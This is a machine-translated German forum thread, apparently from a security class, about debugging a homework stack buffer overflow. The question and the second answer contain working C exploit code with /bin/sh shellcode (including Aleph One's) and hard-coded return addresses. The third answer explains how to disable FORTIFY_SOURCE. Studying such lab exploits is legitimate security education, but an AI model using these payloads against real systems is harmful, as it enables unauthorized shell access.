Pufferüberlauf als homeowrk

Question

Studierte diesen Pufferüberlauf Zeug für eine Sicherheitsklasse, ich versuche die Verletzlichkeit in dieser Anwendung zu nutzen:

//vuln.c 
#include <stdio.h> 

int bof(char *str) 
{ 
    char buffer[12]; 

    //BO Vulnerability 
    strcpy(buffer,str); 

    return 1; 
} 

int main(int argc, char* argv[]) 
{ 
    char str[517]; 

    FILE *badfile; 
     badfile = fopen("badfile","r"); 

    fread(str, sizeof(char),517, badfile); 
    bof(str); 

    printf("Returned Properly\n"); 
    return 1; 
} 

diese Anwendung ausnutzen Verwendung:

//exploit.c 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

const char code[] = 
"\x31\xc0" 
"\x50" 
"\x68""//sh" 
"\x68""/bin" 
"\x89\xe3" 
"\x50" 
"\x53" 
"\x89\xe1" 
"\x99" 
"\xb0\x0b" 
"\xcd\x80" 
; 


int main(int argc, char* argv[]) 
{ 
    char buffer[517]; 
    char large_string[512]; 
    FILE *badfile; 
     badfile = fopen("./badfile", "w"); 

    //NOPslide 
    memset(&buffer,0x90,517); 

    //BEGIN FILL BUFFER 
     //from stack_smashing.pdf 
    long *long_ptr = (long *) large_string; 

    int i; 
    for (i = 0; i < 128; i++) 
     *(long_ptr + i) = (int) buffer; 

    for (i = 100; i < strlen(code)+100; i++) 
     large_string[i] = code[i]; 

    strcpy(buffer,large_string); 
    //END FILL BUFFER 

    //save buffer to badfile 
    fwrite(buffer,517,1,badfile); 
    fclose(badfile); 

    return 0; 
} 

Für Irgendein Grund, wenn ich das Badfile durch Ausführen von Exploit erstelle, bringt es nichts dazu. Entweder ist der Puffer leer oder er schreibt nicht richtig. Ich kann meinen Fehler nicht finden, und nachdem ich unermüdlich geforscht habe, konnte ich keine ausreichende Antwort finden. Aus meinem Verständnis des verwendeten Füllpuffercodes sollte dies long_string mit der Adresse meines Puffers füllen, dann setze ich meinen Shellcode am Anfang von long_string (nach ein wenig NOOP-Folie) und kopiere long_string zurück in den Puffer. Ich sehe wirklich kein Problem mit diesem oder dem fwrite. Vorschläge?

Answer 1

Nun, Sie müssen verstehen, was den Stapel wirklich zerschlägt. Es zertrümmert im Grunde eine Menge von Werten und überschreibt eine bestimmte Adresse, die im Grunde genommen die Adresse des Rückkehrzeigers auf dem Stapel ist ($ebp + 4). Sie versuchen definitiv, den Stack zu zerstören, aber es gibt Unmengen von Dingen, die Sie tun müssen, um genau zu verstehen, welche Adresse Sie mit einer anderen Adresse überschreiben müssen, die auf Ihren Shellcode zeigt.

http://www.phrack.com/issues.html?issue=49&id=14

Derzeit haben Sie nicht die Bearbeitung von einem dieser zwei Dinge.

Sie sollten gdb verwenden oder ein anderes Tool verwenden, um den Assemblercode des tatsächlichen anfälligen Codes zu durchlaufen und die Absenderadresse anzuzeigen. Auf dieser Grundlage versuchen Sie, den Stapel über die Befehlszeile zu zerstören.

Dann starten Sie Ihren Exploit-Code, ohne den Stack zu zerstören. Versuchen Sie, die tatsächliche Absenderadresse zu erfassen, die Sie auf den Ort zeigen sollten, an dem Sie Ihren Shellcode einfügen.

Sie sollten dem Lesen auf Phrack folgen, um das Konzept des Zertrümmerns des Stapels wirklich zu verstehen. Ich hoffe, das hilft!

Answer 2

Es gibt eine sehr wichtige Sache, die Sie in Ihrem Code fehlen. Ich werde Sie selbst finden lassen, aber ich werde Ihnen wahrscheinlich helfen, indem ich auf ein sehr einfaches Pufferüberlaufproblem schaue, das ich vor einiger Zeit gelöst habe.

Betrachten Sie dies als Zielcode mit der Sicherheitslücke - einfacher Pufferüberlauf.

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

int foo(char *arg) 
{ 
    char buf[200]; 
    strcpy(buf, arg); 
} 

int main(int argc, char *argv[]) 
{ 
    if (argc != 2) 
    { 
     fprintf(stderr, "target1: argc != 2\n"); 
     exit(EXIT_FAILURE); 
    } 
    foo(argv[1]); 
    return 0; 
} 

Im Folgenden ist der Exploit-Code:

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <unistd.h> 
#include "shellcode.h" 

#define TARGET "/tmp/target1" 

int main(void) 
{ 
    char arg1[215] = ""; 
    memset(arg1,'\x90', 215); 
    memcpy(arg1,shellcode,45); 

    //0xbffffd78 
    //0xbffffcb8 

    arg1[212] = '\x88'; 
    arg1[213] = '\xfc'; 
    arg1[214] = '\xff'; 
    arg1[215] = '\xbf'; 
    char *args[] = { TARGET, arg1, NULL }; 
    char *env[] = { NULL }; 

    if (0 > execve(TARGET, args, env)) 
     fprintf(stderr, "execve failed.\n"); 

    return 0; 
} 

Sehen Sie, wie ich mein Ziel definieren und verwenden.

Auch habe ich gesehen, dass Shell-Code vor. Ich verwende die eine in der folgenden (phrack):

/* 
* Aleph One shellcode. 
*/ 
static char shellcode[] = 
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

Überprüfen Sie es mit Ihrem Code und lassen Sie mich wissen, ob das funktioniert.

AUCH:

strcpy(buffer,large_string); 

dieses Schreiben ist eine schlechte Praxis egal ob Sie large_string von stdin oder nicht akzeptieren.

Answer 3

strcpy(buffer,large_string); 

Eines der Dinge, die Sie während der Prüfung zur Adresse benötigen, ist diese Funktion aufrufen.

FORTIFY_SOURCE verwendet "sicherere" Varianten von Hochrisikofunktionen wie memcpy und strcpy. Der Compiler verwendet die sichereren Varianten, wenn er die Zielpuffergröße ermitteln kann. Wenn die Kopie die Zielpuffergröße überschreiten würde, ruft das Programm abort() auf.

Um FORTIFY_SOURCE für Ihre Tests zu deaktivieren, sollten Sie das Programm mit -U_FORTIFY_SOURCE oder -D_FORTIFY_SOURCE=0 kompilieren.